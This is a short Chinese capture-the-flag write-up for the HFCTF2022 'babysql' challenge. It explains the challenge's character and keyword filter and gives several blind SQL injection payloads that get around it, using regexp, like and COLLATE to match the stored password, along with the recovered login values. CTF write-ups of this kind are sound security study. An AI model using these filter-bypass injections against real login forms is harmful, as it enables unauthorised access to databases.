HFCTF2022-babysql
HFCTF2022-babysql
这个题目的过滤:
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
其实就是
- 不能使用
()
- 不能使用
*
-
;
#
(限制了空格绕过和注释) - 不能使用空白符 (其实结合2就是直接将空格的绕过给限制死了)
- 不能使用逗号
,
(限制了substr(string from int1 for int2)的字符串截取绕过) - 不能使用union (防止了联合注入建立虚表使用自定义密码)
- 不能使用binary(限制了binary regexp这个匹配大小写的正则匹配)
最后我使用的是
username='||case'1'=`password`regexp'+payload+'when'1'then'1'else'0'end+1||'&password=1
但也没检测出大小写, 最后还是使用了爆破(2^18), tcltcl
看到其他师傅WP中的payload(需要爆破):
username=a'||`password`like'+payload+%'and`id`='1'||`password`regexp'[&password=1
username=a'||`password`regexp'^+paylaod+'and`id`='1'or`password`regexp'^[&password=1
实际上官方应该是让我们给出区分大小写的注入方法,这里再放一个其他师傅的payload:
username=a'||`password`COLLATE'utf8mb4_0900_as_cs'like'+payload+%'&&`id`='1'||`password`regexp'[&password=1
最后得到payload:
username=qay8tefyzc67aeoo&password=m52FPlDxYyLB^eIzAr!8gxh$
输入直接得到flag
另外在HFCTF2022坐牢复现里面有提到另一种可以成功检测大小写的方法,之前还看到过具体写法的不过可惜没记下来
wp脚本可参考jacko大神的虎符CTF